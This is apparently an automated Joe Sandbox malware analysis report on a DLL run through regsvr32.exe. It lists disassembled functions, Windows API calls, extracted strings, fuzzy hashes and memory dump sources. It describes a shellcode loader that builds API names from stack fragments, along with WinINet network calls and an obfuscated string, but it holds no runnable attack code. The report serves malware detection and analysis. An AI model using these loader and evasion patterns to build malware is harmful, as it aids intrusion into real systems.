Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 000007FEF9D271EB

Strings

@'C, xrefs: 000007FEF9D27220, 000007FEF9D2724D, 000007FEF9D27267
0*C, xrefs: 000007FEF9D27163, 000007FEF9D271AB

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer
String ID: 0*C$@'C
API String ID: 3527080286-3870386435
Opcode ID: 44cb388d9b870140d99a40c9b372f402bf81f41f696d4103a424b7cff1120763
Instruction ID: b357231f8f0063d758982780f1c63af601305b6eea545ef6037656fa00afa9a2
Opcode Fuzzy Hash: 44cb388d9b870140d99a40c9b372f402bf81f41f696d4103a424b7cff1120763
Instruction Fuzzy Hash: 64411625A0AA4A92EBA09B19EC4537E23E0F785784FB15132D5CD077B5CF7EE8018745

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction ID: 04ee9255729ef7e149dbf43242f730f4bbed3ff16cc2c5ac2558ad9c7efde415
Opcode Fuzzy Hash: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction Fuzzy Hash: BC113D7AA2868686EBE49B94DC41B6D63E1F780755F205035E68E43BA4CB3DE404CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction ID: d33f1896f8d52307a9012ea76dc3fce74adc3acb1f5112dbea688671cc213a85
Opcode Fuzzy Hash: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction Fuzzy Hash: 3B01F431A1C78286EBD09B6AE88576EB3D4F390350F614535E6CD43FA9DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2188, Parent PID: 2976COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	99
Total number of Limit Nodes:	14

Executed Functions

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00130450
GetNativeSystemInfo.KERNEL32 ref: 00130539
VirtualAlloc.KERNEL32 ref: 00130580
VirtualProtect.KERNEL32 ref: 001309E9

Strings

ualP, xrefs: 001300FF
aryA, xrefs: 001300D8
Load, xrefs: 001300C8
truc, xrefs: 00130121
Virt, xrefs: 001300E0
urce, xrefs: 0013035D
onTa, xrefs: 00130171
Reso, xrefs: 001302DB
Virt, xrefs: 001300F8
Size, xrefs: 00130311
ddFu, xrefs: 00130163
tion, xrefs: 00130128
sour, xrefs: 0013031F
Free, xrefs: 0013034D
ativ, xrefs: 0013013D
eSys, xrefs: 00130144
Lock, xrefs: 00130330
Find, xrefs: 001302D0
Cach, xrefs: 0013012F
Slee, xrefs: 001300B7
ofRe, xrefs: 00130318
GetN, xrefs: 00130136
RtlA, xrefs: 0013015C
urce, xrefs: 00130340
urce, xrefs: 001302E7
Reso, xrefs: 00130338
Reso, xrefs: 00130355
urce, xrefs: 00130304
rote, xrefs: 00130106
Reso, xrefs: 001302FC
lloc, xrefs: 001300F0
temI, xrefs: 0013014B
Flus, xrefs: 00130113
Libr, xrefs: 001300D0
ualA, xrefs: 001300E8
Load, xrefs: 001302F4
ncti, xrefs: 0013016A
hIns, xrefs: 0013011A

Memory Dump Source

Source File: 00000004.00000002.1248664506.0000000000130000.00000040.00001000.00020000.00000000.sdmp, Offset: 00130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_130000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: c3ad375b28d4005cd65bc3de3fd702d44b77b28fe8b76393b77b528eb6f720f0
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: CF72D470618B488FDB2ADF18C8956B9B7E1FB98305F10462DE8CAD7211DB34D986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248B0 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bW, xrefs: 0000000180024E6B
X, xrefs: 0000000180024D6B
O}, xrefs: 0000000180024AB3

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O}$X$bW
API String ID: 0-980370356
Opcode ID: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction ID: a62d154362f2d503ef0efb6b3a203e4a1ee478d45050cbe1ab820923c54e17f6
Opcode Fuzzy Hash: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction Fuzzy Hash: AA02F4715087C88BD799CFA8C48A69EFBE1FB98744F104A1DF4868B260D7F4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"Gd, xrefs: 0000000180006E8F
HG, xrefs: 0000000180006E14
C2, xrefs: 0000000180006EBC

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006F2C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

$!, xrefs: 00000001800070F4
e##, xrefs: 0000000180007141

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $!$e##
API String ID: 0-2900154246
Opcode ID: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction ID: 216da8bcfa57d9aa83ad41f20fe658cab1eb670466840fb7186bd91b9371edf3
Opcode Fuzzy Hash: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction Fuzzy Hash: 7B8190705187889BD7E8DF14C4C979EBBE1FB98344F905A1CF89A8B261CB74C948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002446C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 0000000180024567

Strings

Z*, xrefs: 00000001800244B6
&J@, xrefs: 00000001800244C7
Va, xrefs: 000000018002452C

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: &J@$Va$Z*
API String ID: 2038078732-1197100596
Opcode ID: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction ID: 28a15b3c09fe6a2aa9f5eb42736a691d582ff290fd3432c8dba93e18a197623f
Opcode Fuzzy Hash: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction Fuzzy Hash: 8A212F715187898FD3A8DF28C0493ABB7E1FB98319F408A1DE4CAC6391DB799448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018001C04A

Strings

`/, xrefs: 000000018001BFA5

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: `/
API String ID: 823142352-1163903809
Opcode ID: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction ID: f11eb3e7a352e1f1819d3b1e5829977cbaca57bf71308e5d5317c3bcacfeb84e
Opcode Fuzzy Hash: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction Fuzzy Hash: 6C3137B061CB848FD364DF18D48579ABBE0FB88314F504A2EE88DC3362DB749845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016500 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0000000180016662

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction ID: 6bd4319daaf70d9cfa93cd172db4ac0144cd1887b423fd46bbb7d9a578168b32
Opcode Fuzzy Hash: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction Fuzzy Hash: 8C41F7705087848FC7B8DF58D48579ABBE0FB98315F108A5EE48DD7361DB749884CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 0000000180017D42

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction ID: e87697cfd510fd4059a611545946932b1d04e28e1a34b551021fd5cd6805f499
Opcode Fuzzy Hash: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction Fuzzy Hash: AB31E770618B888FD7B8CF68D4857AAB7E1FB89315F508A1EE48DC7251CB749845CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800149CC Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180014B07

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction ID: c8d36c456ba033a28ec6fbd746a54a3663befea28eedef4c15a9fc959fe4c155
Opcode Fuzzy Hash: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction Fuzzy Hash: D331607050CB848BE7B4DF08D4C9B9AB7E0FB98315F108A4DE48DD7296CB789484CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011EF8 Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000000018001202C

Memory Dump Source

Source File: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction ID: 87f7a9be59381a5b3d954798ed335bb6745bcd8ebd0cdd375d804fe942fcfa66
Opcode Fuzzy Hash: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction Fuzzy Hash: 7A312B7160CB848FDBA8DF18E48579AB7E1FB98314F10465EE88CC7396DB309984CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2396, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	1874
Total number of Limit Nodes:	40

Executed Functions

Function 000007FEF74F12B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF74F2F02
MessageBoxA.USER32 ref: 000007FEF74F2F1C
ExitProcess.KERNEL32 ref: 000007FEF74F2F27
VirtualAlloc.KERNELBASE ref: 000007FEF74F2F57
RtlAllocateHeap.NTDLL ref: 000007FEF74F2F65
CoTaskMemFree.OLE32 ref: 000007FEF74F2F86

Strings

:!@, xrefs: 000007FEF74F145B
ePO, xrefs: 000007FEF74F1A04
cDj, xrefs: 000007FEF74F18E2
%U9, xrefs: 000007FEF74F2A9E
L ]1, xrefs: 000007FEF74F1842
0.3, xrefs: 000007FEF74F13AC
$:*:, xrefs: 000007FEF74F2C74
PX5, xrefs: 000007FEF74F265C
pAT#, xrefs: 000007FEF74F1B4E
Pl5, xrefs: 000007FEF74F1E3C
VO4, xrefs: 000007FEF74F1BD0
N3, xrefs: 000007FEF74F245E
Puvm, xrefs: 000007FEF74F2D0A
`I, xrefs: 000007FEF74F2634
@ , xrefs: 000007FEF74F29EA
$931, xrefs: 000007FEF74F1D56
Ko*h, xrefs: 000007FEF74F2CC4
*hH, xrefs: 000007FEF74F1386
3ob, xrefs: 000007FEF74F15EA
mbPv, xrefs: 000007FEF74F1423
,$n, xrefs: 000007FEF74F1658
<M}O, xrefs: 000007FEF74F1D6A
S}pn, xrefs: 000007FEF74F22BA
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF74F2FBB
+ong, xrefs: 000007FEF74F2A3A
c-_j, xrefs: 000007FEF74F21F2
FLIn, xrefs: 000007FEF74F28FA
"V2, xrefs: 000007FEF74F280A
{fM$, xrefs: 000007FEF74F1B8A
U9#(, xrefs: 000007FEF74F24EA
M13U, xrefs: 000007FEF74F17B6
$}%z, xrefs: 000007FEF74F2C7E
g@$, xrefs: 000007FEF74F2328
C/, xrefs: 000007FEF74F1E82
gVWH, xrefs: 000007FEF74F1D88
w&ed, xrefs: 000007FEF74F2288
2s<S, xrefs: 000007FEF74F236E
%</, xrefs: 000007FEF74F24A4
8<-, xrefs: 000007FEF74F1BEE
%<, xrefs: 000007FEF74F2CE2
e7tc, xrefs: 000007FEF74F2C6A
%Uc, xrefs: 000007FEF74F2E18
MDj, xrefs: 000007FEF74F281E
<v:, xrefs: 000007FEF74F1A4A
?CE`, xrefs: 000007FEF74F1BF8
hx", xrefs: 000007FEF74F1B30
i~e, xrefs: 000007FEF74F1FCC
V#s, xrefs: 000007FEF74F1676
kxfc, xrefs: 000007FEF74F18A6
}'6, xrefs: 000007FEF74F1B76
5vCx, xrefs: 000007FEF74F2B98
5qj', xrefs: 000007FEF74F1F90
}WL, xrefs: 000007FEF74F1A22
HPZ, xrefs: 000007FEF74F2896
wk/, xrefs: 000007FEF74F1784
{$U|, xrefs: 000007FEF74F23A0
-{*, xrefs: 000007FEF74F285A
<)@P, xrefs: 000007FEF74F15E0
4bB, xrefs: 000007FEF74F2210
!@C+, xrefs: 000007FEF74F1824
P+oo, xrefs: 000007FEF74F233C
,1., xrefs: 000007FEF74F258A
R;pB, xrefs: 000007FEF74F1BBC
1\u, xrefs: 000007FEF74F2CBA
.#(, xrefs: 000007FEF74F1346
jfX, xrefs: 000007FEF74F1EF0
V9s, xrefs: 000007FEF74F260C
$D1v, xrefs: 000007FEF74F15CC
Eekg, xrefs: 000007FEF74F24D6
werfault.exe, xrefs: 000007FEF74F2E68
tc`, xrefs: 000007FEF74F21C0
`AnM, xrefs: 000007FEF74F2E6F
Cb47, xrefs: 000007FEF74F2D00
l|f, xrefs: 000007FEF74F2080
U+on, xrefs: 000007FEF74F1E28
M z, xrefs: 000007FEF74F1438
rkE@, xrefs: 000007FEF74F1415
S[L, xrefs: 000007FEF74F218E
Ya], xrefs: 000007FEF74F1590
|X, xrefs: 000007FEF74F1AC2
:9m?, xrefs: 000007FEF74F2792
+iT, xrefs: 000007FEF74F2012
>~, xrefs: 000007FEF74F1DA6
-'C, xrefs: 000007FEF74F1AAE
*hH%, xrefs: 000007FEF74F215C
#z$U, xrefs: 000007FEF74F21B6
} z$, xrefs: 000007FEF74F29F4
;qdf, xrefs: 000007FEF74F1A7C
9[+, xrefs: 000007FEF74F1FD6
M1vi, xrefs: 000007FEF74F26F2
"!k, xrefs: 000007FEF74F21FC
|e:, xrefs: 000007FEF74F2EDD
=kf^, xrefs: 000007FEF74F1662
It, xrefs: 000007FEF74F1CC0
QlyO, xrefs: 000007FEF74F1D9C
&\hR, xrefs: 000007FEF74F1EBE
BxJr, xrefs: 000007FEF74F1B26
:'U@, xrefs: 000007FEF74F2490
0kj., xrefs: 000007FEF74F144D
xA\#, xrefs: 000007FEF74F163A
j+h, xrefs: 000007FEF74F28BE
%8#, xrefs: 000007FEF74F1D06
^*C, xrefs: 000007FEF74F209E
D)'U, xrefs: 000007FEF74F22A6
wC54, xrefs: 000007FEF74F2AF8
t(O, xrefs: 000007FEF74F18C4
oE, xrefs: 000007FEF74F2418
EBg, xrefs: 000007FEF74F1F9A
aUJ', xrefs: 000007FEF74F17F2
$huN, xrefs: 000007FEF74F2DE6
(pd, xrefs: 000007FEF74F21CA
?x?, xrefs: 000007FEF74F1D2E
mCl4, xrefs: 000007FEF74F16C6
h78<, xrefs: 000007FEF74F1AA4

Memory Dump Source

Source File: 00000005.00000002.919820408.000007FEF74F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF74F0000, based on PE: true

Associated: 00000005.00000002.919817428.000007FEF74F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919837980.000007FEF7512000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919844833.000007FEF751B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919848379.000007FEF751F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74f0000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 8a680389bafc411da5b849dbb59dd71307d3986a818d312ea38dfdcedf4ceaaf
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: D5E2C8B690A7C18FE3748F62AA817DD3AA1F345748F609208D3991FA1DCB795242CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00130450
GetNativeSystemInfo.KERNEL32 ref: 00130539
VirtualAlloc.KERNELBASE ref: 00130580
VirtualProtect.KERNELBASE ref: 001309E9

Strings

ualA, xrefs: 001300E8
Reso, xrefs: 001302FC
urce, xrefs: 00130304
hIns, xrefs: 0013011A
lloc, xrefs: 001300F0
Reso, xrefs: 00130338
truc, xrefs: 00130121
ofRe, xrefs: 00130318
Cach, xrefs: 0013012F
Find, xrefs: 001302D0
ualP, xrefs: 001300FF
Virt, xrefs: 001300E0
ativ, xrefs: 0013013D
rote, xrefs: 00130106
eSys, xrefs: 00130144
Flus, xrefs: 00130113
urce, xrefs: 001302E7
Load, xrefs: 001302F4
Size, xrefs: 00130311
Reso, xrefs: 001302DB
GetN, xrefs: 00130136
Libr, xrefs: 001300D0
sour, xrefs: 0013031F
ddFu, xrefs: 00130163
onTa, xrefs: 00130171
Virt, xrefs: 001300F8
Reso, xrefs: 00130355
RtlA, xrefs: 0013015C
ncti, xrefs: 0013016A
Slee, xrefs: 001300B7
Free, xrefs: 0013034D
urce, xrefs: 00130340
tion, xrefs: 00130128
Lock, xrefs: 00130330
urce, xrefs: 0013035D
Load, xrefs: 001300C8
temI, xrefs: 0013014B
aryA, xrefs: 001300D8

Memory Dump Source

Source File: 00000005.00000002.919409620.0000000000130000.00000040.00001000.00020000.00000000.sdmp, Offset: 00130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_130000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
